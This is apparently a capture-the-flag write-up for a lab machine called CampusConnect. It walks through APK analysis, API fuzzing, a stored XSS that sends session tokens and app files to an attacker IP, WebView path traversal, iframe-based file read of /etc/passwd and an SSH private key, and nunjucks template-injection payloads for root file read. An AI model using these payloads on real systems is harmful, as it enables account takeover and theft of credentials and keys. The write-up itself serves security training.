Since it is a full pwn challenge we only have the IP of the machine. We will use Nmap to scan the IP for running services.

Nmap scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Nmap 7.94SVN scan initiated Fri Dec  8 10:32:13 2023 as: nmap -sCV -T4 --min-rate 10000 -p- -v -oA nmap/tcp_default 10.129.230.59
Nmap scan report for 10.129.230.59
Host is up (0.031s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Dec 8 10:32:27 2023 -- 1 IP address (1 host up) scanned in 14.23 seconds

Port 22 and port 80 are opened for TCP. We can assume that this is a webserver.

Sourcecode apk analysis.

The challenge also included a .apk file that covered some of the website’s functionality. We can use apktool to decode the contents:

1
apktook d Source CampusConnect.apk

This creates a new folder “CampusConnect”. I used VS-code to see the contents.

1
code . &

In the /assets folder there is a index.html file and a index.js file. The index.js file includes sourcode for an API. For example the /api/posts endpoint:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function populatePosts() {
fetch(`${localStorage.getItem('backendUrl')}/api/posts`, {
'headers': {
'token': localStorage.getItem('token')
}
})
.then((data) => data.json())
.then((json) => {
json.posts.forEach((i) => {

var html = `<div class="card border-secondary mb-3" style="max-width: 20rem;"><div class="card-header text-white">${i.name} <span style="font-size: 9px;color: #bfbbbb;margin-left:4px">(${i.role})</span></div><div class="card-body text-white"><p class="card-text text-white">${i.description}</p></div><div class="d-flex justify-content-around"><p style="font-size: 12px; color: #bfbbbb;">Tags: ${i.tags} </p><p style="font-size: 12px; color: #bfbbbb;">Date: ${i.created_at}</p></div></div>`
var cont = document.getElementById("postsCont");
cont.innerHTML += html;
})
})
.catch((e) => {
document.write(e);
})
}

We can also find a hostname in the source:

Fuzzing the API

Using ffuf I fuzzed the API for its endpoints:

1
ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://10.129.230.59/api/FUZZ -mc all -X POST -fs 32

This resulted in the following endpoints:

  • /api/register
  • /api/login
  • /api/posts

But from the sourcecode file “index.js” we can find another endpoint:

  • /api/studyMaterial

Getting a session token

We can register to the API using burp suite to create a request:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /api/register HTTP/1.1
Host: campusconnect.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 68

{
"email":"test@test.com",
"name":"test",
"password":"test"
}

Next we can login using:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /api/login HTTP/1.1
Host: campusconnect.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 51

{
"email":"test@test.com",
"password":"test"
}

The server responds to us with a session token:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidGVzdCIsImVtYWlsIjoidGVzdEB0ZXN0LmNvbSIsInJvbGUiOiJzdHVkZW50IiwiZm9yIjoiY2FtcHVzY29ubmVjdC5odGIiLCJpYXQiOjE3MDIyMDkyNjR9.yJgGMLMCvJnjp_y4aUrpogqhfXiu7ZJ_A8YzYMfZ5bg

This is a JWT token. If we take a look at it on jwt.io we can see its contents:

  • The JWT secret cannot be cracked
  • The JWT signature cannot be bypassed using “alg”: “None”

Finding XSS on the /posts page

In the /index.html page there is a hint:

1
2
3
<div class="alert alert-dismissible alert-primary mt-4">
Starting now, all posts will be reviewed by a teacher due to concerns about unrelated stuff being uploaded by students. Thank you for your understanding
</div>

This means that a teacher with a teacher token will probably see our newly posts. We can create a new post using the /api/posts endpoint. From the sourcecode we can see which parameters to specify:

1
2
3
4
5
6
7
8
fetch(`${localStorage.getItem('backendUrl')}/api/posts`, {
'method': 'POST',
'headers': {
'token': localStorage.getItem('token'),
'Content-Type': 'application/json'
},
'body': JSON.stringify({'description': description, 'tags': tags})
})

To posts a new “post” we can use the following request:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /api/posts HTTP/1.1
Host: campusconnect.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidGVzdCIsImVtYWlsIjoidGVzdEB0ZXN0LmNvbSIsInJvbGUiOiJzdHVkZW50IiwiZm9yIjoiY2FtcHVzY29ubmVjdC5odGIiLCJpYXQiOjE3MDIyMDY4NTN9.QrxKS2dyxM5f7FTS3LIODrdzqGoe_JnC3A4ZCsYglDo
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 131

{
"description":"x",
"tags":"hi"
}

This will create a new post. If we send a /get request we can see our post:

Lets try to include JavaScript in the fields in order to get XSS and retrieve a session cookie from someone else. But we have to be aware that the app stores the session cookies in the LocalStorage:

1
'token': localStorage.getItem('token'),

Using the following payload to get XSS:

1
2
3
4
{
"description":"x",
"tags":"<img src=x onerror=this.src='http://10.10.14.156/?'+localStorage.getItem('token'); this.removeAttribute('onerror');>"
}

We can see a incoming request including a cookie:

The session cookie:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoieGNsb3czbiIsImVtYWlsIjoieGNsb3czbkBoYWNrdGhlYm94LmV1Iiwicm9sZSI6InRlYWNoZXIiLCJmb3IiOiJjYW1wdXNjb25uZWN0Lmh0YiIsImlhdCI6MTcwMjIwODc2NX0.JRyDPA7Zhdo8CP2Q9WUU7a5MOM9-TkNTHGucNzEWU5U

Using jwt.io we can see that it has the teacher role:

Decompiling apk to java & analysis

We can use a tool from a friend of mine to easily decompile the Java source of the .apk:

https://github.com/JorianWoltjer/default

1
default apk decompile CampusConnect.apk

This creates a new directory CampusConnect.java that includes the java source of the APK.

The HomeActivity.java file includes a interesting function WebResourceResponse:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public WebResourceResponse shouldInterceptRequest(final WebView webView, final WebResourceRequest webResourceRequest) {
final Uri url = webResourceRequest.getUrl();
if (url.getPath().startsWith("/local_cache/")) {
final File file = new File(this.this$0.getCacheDir(), url.getLastPathSegment());
if (file.exists()) {
try {
final FileInputStream fileInputStream = new FileInputStream(file);
final HashMap hashMap = new HashMap();
hashMap.put("Access-Control-Allow-Origin", "*");
return new WebResourceResponse("text/html", "utf-8", 200, "OK", (Map)hashMap, (InputStream)fileInputStream);
}
catch (final IOException ex) {
return null;
}
}
}
return super.shouldInterceptRequest(webView, webResourceRequest);
}

Googling around, we can find https://blog.oversecured.com/Android-Exploring-vulnerabilities-in-WebResourceResponse/. This PoC includes almost the same function. And also says:

Therefore, if an attacker discovers a simple XSS or the ability to open arbitrary links inside the Android app, they can use that to leak sensitive user data – which can also include the access token, leading to a full account takeover.

This seems like the right path! So lets use that PoC from the blog and try to reveal sensitive data.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function theftFile(path, callback) {
var oReq = new XMLHttpRequest();

oReq.open("GET", "http://random.com/local_cache/..%2F" + encodeURIComponent(path), true);
oReq.onload = function (e) {
callback(oReq.responseText);
}
oReq.onerror = function (e) {
callback(null);
}
oReq.send();
}

theftFile("shared_prefs/user.xml", function (contents) {
location.href = "http://10.10.14.3/?data=" + btoa(contents);
});
  • Notice that we steal the file user.xml and not auth.xml from the blog.

We can conclude this by checking out the SharedPreferenceClass class in the source:

1
2
3
4
5
public class SharedPreferenceClass
{
private static final String USER_PREF = "user";
private SharedPreferences appShared;
private SharedPreferences$Editor prefsEditor;

We will host this file on our own webserver and use the XSS on the /api/posts vulnerability to get the source.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /api/posts HTTP/1.1
Host: campusconnect.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidGVzdCIsImVtYWlsIjoidGVzdEB0ZXN0LmNvbSIsInJvbGUiOiJzdHVkZW50IiwiZm9yIjoiY2FtcHVzY29ubmVjdC5odGIiLCJpYXQiOjE3MDIyMDY4NTN9.QrxKS2dyxM5f7FTS3LIODrdzqGoe_JnC3A4ZCsYglDo
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 95

{
"description":"x",
"tags":"<img src='x' onerror='var x=document.createElement(\"script\");x.src=\"http://10.10.14.3/test.js\";document.body.appendChild(x);'/>"
}

After submitting the XSS, we retrieve another token:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoieGNsb3czbiIsImVtYWlsIjoieGNsb3czbkBoYWNrdGhlYm94LmV1Iiwicm9sZSI6Im1vZGVyYXRvciIsImZvciI6ImFkbWluLmNhbXB1c2Nvbm5lY3QuaHRiIiwiaWF0IjoxNzAyMjE2NDkyfQ.fiBakw8_VX8HASyotLw-IKgAP-zCq_5JbrBlpJC-gqE

The token has the moderator role:

Finding the admin subdomain & LFI

In the java sourcecode we can find another subdomain “admin.campusconnect.htb”. We can use the admin token from the leaked user.xml to authenticate to the admin subdomain. In the java source we can find that /api/exportAttendance is a interesting endpoint:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
this.export.setOnClickListener((View$OnClickListener)new View$OnClickListener(this) {
final AttendanceTracking this$0;

public void onClick(final View view) {
final String string = this.this$0.sharedPreferences.getString("adminToken", "");
final DownloadManager$Request downloadManager$Request = new DownloadManager$Request(Uri.parse(String.format("%s/api/exportAttendance", this.this$0.getString(R.string.admin_backend_url))));
downloadManager$Request.setTitle((CharSequence)"result.pdf");
downloadManager$Request.setDescription((CharSequence)"Exporting...");
downloadManager$Request.addRequestHeader("admin-token", string);
downloadManager$Request.setNotificationVisibility(1);
downloadManager$Request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, "result.pdf");
((DownloadManager)this.this$0.getSystemService("download")).enqueue(downloadManager$Request);
Toast.makeText((Context)this.this$0, (CharSequence)"Exporting...", 1).show();
}
});

If we go to the endpoint including our admin-token as header, we can see that it indeed exports a PDF with the current users:

We can try to get LFI by registering a user with a iframe as username:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /api/register HTTP/1.1
Host: campusconnect.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 142

{
"email":"test2@test.com",
"name":"<iframe src='file:///etc/passwd' width=1000 height=1000></iframe>",
"password":"test123"
}

If we now export the PDF again we can see that it worked!

We can see that there is a user “rick” with a /bin/sh shell. We can try to include his private SSH key:

1
2
3
4
5
{
"email":"test3@test.com",
"name":"<iframe src='file:///home/rick/.ssh/id_rsa' width=1000 height=1000></iframe>",
"password":"test123"
}

Result:

We can use this private key to SSH into the system:

1
ssh -i id_rsa rick@campusconnect.htb

Privilege escalation to root with SSTI

On the system, we can check for listening TCP ports:

1
netstat -tulpn

Results:

Port 8080 seems interesting, since the webservice for the campusconnect is running on port 80. Lets forward the service to our localhost using chisel.

Setup server

1
chisel server -p 9999 --reverse &

Client callback

1
./chisel client 10.10.14.3:9999 R:1234:127.0.0.1:8080 &

We can now interact with the service on port 8080, by going to localhost:1234:

It looks like a custom webpage to interact with services, but this was not the way to root. Instead there is another page /email:

This functionality provided some template engine syntax ({ item }}. And since we can preview the content on our webpage, we can try to do Server Side Template Injection (SSTI). But we first have to find out which engine is running to determine our attack path.

To do so, we can use https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#handlebars-nodejs to test some payloads. One payload that worked for nunjucks was:

1
{{range.constructor('return 1+1')()}}

This returned 2 on the e-mail preview.

One common payload to get RCE for nunjucks is:

1
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}

But execSync is blacklisted. Another way that we could solve the challenge is file read. But before we do so, we cant to make sure the process runs as root. We can conclude it is by checking the homedir using the os module:

1
{{range.constructor("return global.process.mainModule.require('os').homedir()")()}}

This returns “/root”.

Getting file read using readFileSync

Our team found a CVE https://nvd.nist.gov/vuln/detail/CVE-2023-39332 that “Various node:fs functions allow specifying paths as either strings or Uint8Array objects. In Node.js environments, the Buffer class extends the Uint8Array class. Node.js prevents path traversal through strings (see CVE-2023-30584) and Buffer objects (see CVE-2023-32004), but not through non-Buffer Uint8Array objects. This is distinct from CVE-2023-32004 which only referred to Buffer objects. However, the vulnerability follows the same pattern using Uint8Array instead of Buffer.

This lead to the following PoC (works for 20.8.0):

1
{{range.constructor("return global.process.mainModule.require('fs').readFileSync(new Uint8Array([47,114,111,111,116,47,115,101,114,118,105,99,101,77,97,110,97,103,101,114,47,46,46,47,114,111,111,116,46,116,120,116]))")()}}

Output:

Another way to do exploit the bypass is this PoC (works for 20.5.0):

1
{{range.constructor("return global.process.mainModule.require('fs').readFileSync(Buffer.from('/root/serviceManager/../.ssh/id_rsa'))")()}}